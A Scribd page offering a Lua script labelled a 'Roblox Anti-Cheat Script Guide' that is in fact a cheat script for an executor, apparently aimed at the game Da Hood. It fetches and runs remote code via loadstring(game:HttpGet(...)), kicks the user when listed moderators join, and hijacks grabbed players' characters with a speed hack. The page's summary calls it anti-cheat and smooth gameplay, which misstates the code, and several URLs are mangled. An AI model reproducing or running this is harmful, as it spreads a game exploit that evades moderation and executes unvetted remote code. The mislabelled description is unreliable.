0% found this document useful (0 votes)
395 views7 pages

Roblox Anti-Cheat Script Guide

The script is designed for a Roblox game, managing player interactions and animations. It includes a list of players to kick if they join, functions to handle character cloning, animation playback, and movement control. Additionally, it sets up event listeners for player actions and character states, ensuring smooth gameplay and interaction mechanics.

Uploaded by

omarlook1020
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
395 views7 pages

Roblox Anti-Cheat Script Guide

The script is designed for a Roblox game, managing player interactions and animations. It includes a list of players to kick if they join, functions to handle character cloning, animation playback, and movement control. Additionally, it sets up event listeners for player actions and character states, ensuring smooth gameplay and interaction mechanics.

Uploaded by

omarlook1020
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

--control

local fatcaseoh = {"512f6", "JokeTheFool", "Sherosama", "Papa_Mbaye",


"AStrongMuscle", "streetren", "NikoSenpai", "WashedGarage", "iumu", "Benoxa",
"Luutyy", "clubstar54", "givkitheth", "kywiexcx", "ATKDrizzy", "dtbbullet",
"XavierWildYT", "RogueDaHoodKing", "paxxythecreator", "NatsuDBlaze", "AnqelicMar",
"DrBlakMD", "DarkWhirlwind", "coreten", "LegacyCross", "Greed_Ocean"} -- you can
add more players by doing {"Player1", "Player2"}

[Link]:Connect(function(plr)
for i, v in pairs(fatcaseoh) do
if [Link] == v then
local loc = [Link]
loc:Kick("A Mod Has Joined")
end
end
end)

loadstring(game:HttpGet("[Link] true))()

loadstring(game:HttpGet("[Link]
main/DaHood/[Link]"))()

if getgenv().GrabWatcher then
getgenv().GrabWatcher:Disconnect()
getgenv().GrabWatcher = nil
wait()
end

if getgenv().CHARADDED___ then
getgenv().CHARADDED___:Disconnect()
getgenv().CHARADDED___ = nil
wait()
end

local OWNER = game:GetService("Players").LocalPlayer

local workPlayers = [Link]

local LiveConnections = {}

local function Align(P0, P1, Offset)


return game:GetService("RunService").Heartbeat:Connect(function()
[Link] = [Link](0, 0, 0)
[Link] = [Link](0, 0, 0)
[Link] = [Link] * (Offset or [Link]())
[Link] = [Link](0, 0, 0)
if not P0:FindFirstChildWhichIsA("BodyVelocity") then
[Link]("BodyVelocity",P0) end
[Link] = [Link](0,0,0)
[Link] = [Link](9e9, 9e9, 9e9)
end)
end

local function InsertOn(Table, Value)


if type(Table) == "table" and Value then
Table[#Table + 1] = Value
end
end
local function Loop(Name, Callback)
if game:GetService("RunService")[Name] then
local CurrentLoop
CurrentLoop = game:GetService("RunService")[Name]:Connect(function()
local Result, Output = pcall(Callback)

if not Result then


CurrentLoop:Disconnect()
warn(Output)
end
end)

return CurrentLoop
end
end
local PlayerClone

function AnimStop(ID, SPEED)


for i,v in
pairs(PlayerClone:WaitForChild("Humanoid"):GetPlayingAnimationTracks()) do
if ([Link]:match("rbxassetid://"..ID)) then
if tonumber(SPEED) then
v:Stop(SPEED)
else
v:Stop()
end
end
end
end

local function AnimPlay(ID,SPEED)


for i,v in
pairs(PlayerClone:WaitForChild("Humanoid"):GetPlayingAnimationTracks()) do if
([Link]:match("rbxassetid://"..ID)) then v:Stop() end end
local animation = [Link]('Animation', game:GetService("Workspace"))
[Link] = 'rbxassetid://'..ID
playing = [Link]:LoadAnimation(animation)
playing:Play()
if tonumber(SPEED) then
playing:AdjustSpeed(SPEED)
else
playing:AdjustSpeed(1)
end
animation:Destroy()
end

local function AnimPlay1(ID)


for i,v in pairs([Link]:GetPlayingAnimationTracks()) do
if ([Link]:match("rbxassetid://"..ID)) then
v:Stop(0)
if not PlayerClone:FindFirstChild(ID) then
local animation = [Link]('Animation', PlayerClone)
[Link] = 'rbxassetid://'..ID
[Link] = "_____GYAT"
playing = [Link]:LoadAnimation(animation)
playing:Play()
end
end
end
if [Link] > 0 then
AnimStop(ID)
for _, v in pairs(PlayerClone:GetChildren()) do
if [Link] == "_____GYAT" then
v:Destroy()
end
end
end
end

local function AnimPlay2(ID,SPEED)


for i,v in
pairs(PlayerClone:WaitForChild("Humanoid"):GetPlayingAnimationTracks()) do if
([Link]:match("rbxassetid://"..ID)) then v:Stop() return end end
local animation = [Link]('Animation', game:GetService("Workspace"))
[Link] = 'rbxassetid://'..ID
playing = [Link]:LoadAnimation(animation)
playing:Play()
if tonumber(SPEED) then
playing:AdjustSpeed(SPEED)
else
playing:AdjustSpeed(1)
end
animation:Destroy()
end

local function CloneCharacter(OldCharacter)

[Link] = true

local newClone = OldCharacter:Clone()


[Link] = false
[Link] = 9e9
[Link] = 9e9
[Link]:Destroy()
[Link]:Destroy()
newClone:WaitForChild("GRABBING_CONSTRAINT"):Destroy()
for _, Class in pairs(newClone:GetDescendants()) do
if Class:IsA("BasePart") and
[Link] ~= "Head" and
[Link] ~= "HumanoidRootPart" and
[Link] ~= "UpperTorso" and
[Link] ~= "LowerTorso" and
[Link] ~= "LeftUpperArm" and
[Link] ~= "RightUpperArm" and
[Link] ~= "LeftLowerArm" and
[Link] ~= "RightLowerArm" and
[Link] ~= "LeftHand" and
[Link] ~= "RightHand" and
[Link] ~= "LeftUpperLeg" and
[Link] ~= "RightUpperLeg" and
[Link] ~= "LeftLowerLeg" and
[Link] ~= "RightLowerLeg" and
[Link] ~= "LeftFoot" and
[Link] ~= "RightFoot" then
[Link] = false
Class:Destroy()
end
if Class:IsA("BasePart") then
[Link] = [Link](100,
2, .5, 100, 1)
[Link] = 1
end

if Class:IsA("Decal") then
[Link] = 1
end

if Class:IsA("Motor6D") then
Class:Destroy()
end

end

[Link] = [Link]
[Link]:ChangeState("GettingUp")
[Link] = false
return newClone
end

local function onGrab()


if [Link] then
wait()
local GrabbedCharacter = [Link]
local GrabConstraint =
GrabbedCharacter:WaitForChild("GRABBING_CONSTRAINT")

if not GrabConstraint then return end

local RopeGrab = GrabConstraint:FindFirstChildOfClass("RopeConstraint")


[Link] = 1/0

local Origin

[Link] =
[Link] * [Link](0, -15, 0)

PlayerClone = CloneCharacter(GrabbedCharacter)

[Link] = PlayerClone
local RayParams = [Link]()
[Link] = {[Link], PlayerClone}
[Link] = true
InsertOn(LiveConnections, Loop("Heartbeat", function()
local RootPartPosition =
[Link]
local RaycastResult = workspace:Raycast(RootPartPosition,
RootPartPosition - [Link](0, 9e9, 0), RayParams)
local Position = [Link]()
if RaycastResult and [Link] ~= nil then
Position = [Link] - [Link](0,
[Link].Y * 5, 0)
end
[Link] =
[Link]([Link](Position.X, -Position.Y, Position.Z))
[Link] = [Link]
--for i,v in
pairs([Link]:FindFirstChild("Humanoid"):GetPlayingAnimationTracks()) do
v:Stop() end
end))

InsertOn(LiveConnections, Loop("Stepped", function()


AnimPlay1(3152375249)
AnimPlay1(3152378852)
AnimPlay1(3189773368)
AnimPlay1(3189776546)
AnimPlay1(3189777795)
AnimPlay1(3189779152)
AnimPlay1(3487719500)
AnimPlay1(11710529975)
AnimPlay1(11710524717)
AnimPlay1(11710527244)
AnimPlay1(11710529220)
AnimPlay1(11710529220)
AnimPlay1(11710524200)
AnimPlay1(11710541744)
--AnimPlay3(3152394906)
[Link] = [Link]
[Link]:Move([Link],
false)

for _, Class in pairs(GrabbedCharacter:GetDescendants()) do


if Class:IsA("BasePart") then
[Link] = false
end
end
end))

for _, Class in pairs(PlayerClone:GetChildren()) do


if Class:IsA("BasePart") and
GrabbedCharacter:FindFirstChild([Link]) and [Link] ~= "Head" and [Link]
~= [Link] then
InsertOn(LiveConnections,
Align(GrabbedCharacter:FindFirstChild([Link]), Class, [Link](0, 0, 0)))
end
end

local function Stop()


[Link] =
[Link]([Link]) * [Link](0, 5, 0)
[Link] = [Link]
[Link] = [Link]
PlayerClone:Destroy()
for _, Connection in pairs(LiveConnections) do
Connection:Disconnect()end
for _, v in pairs(GrabbedCharacter:GetDescendants()) do if
v:IsA("BodyVelocity") then v:Destroy()end end
end

local Ungrabbed
local Speed__UP
InsertOn(LiveConnections,
OWNER:GetMouse().KeyDown:Connect(function(key)
if key == "v" then
AnimPlay2(7024352298)
elseif key == "q" then
AnimPlay2(10370362157,1.1)
elseif key == "t" then
AnimPlay2(10714068222)
elseif key == "y" then
AnimPlay2(10214311282)
elseif key == "u" then
AnimPlay2(10714340543,1.3)
elseif key == "j" then
AnimPlay2(14548619594)
elseif key == "e" then
AnimPlay2(2816431506,1.5)
elseif key == "r" then
AnimPlay2(11444443576,1.1)
elseif key == "2" then
AnimPlay(3152394906)
elseif key == "f" then
AnimPlay(2788354405)
elseif key == "x" then
Speed__UP = not Speed__UP
if Speed__UP == true then
repeat [Link]()
[Link] =
[Link] + [Link] * 5
until Speed__UP == false
end
end
end))

InsertOn(LiveConnections, OWNER:GetMouse().KeyUp:Connect(function(key)
if key == "2" then
AnimStop(3152394906)
elseif key == "f" then
AnimStop(2788354405)
end
end))
--[[InsertOn(LiveConnections,
game:GetService("UserInputService").InputBegan:Connect(function(v)
if [Link] == [Link] then
AnimPlay(3152394906)
elseif [Link] == [Link].F then
AnimPlay(2788354405)
end
end))

InsertOn(LiveConnections,
game:GetService("UserInputService").InputEnded:Connect(function(v)
if [Link] == [Link] then
AnimStop(3152394906)
elseif [Link] == [Link].F then
AnimStop(2788354405)
end
end))]]

Ungrabbed =
[Link]:Connect(function()
if [Link] == nil then
Stop()
Ungrabbed:Disconnect()
end
end)
end
end

getgenv().GrabWatcher =
[Link]:GetPropertyChangedSignal("Value"):Connect(onGra
b)
getgenv().CHARADDED___ = [Link]:connect(function()
[Link]:WaitForChild("FULLY_LOADED_CHAR")
getgenv().GrabWatcher =
[Link]:GetPropertyChangedSignal("Value"):Connect(onGra
b)
end)

You might also like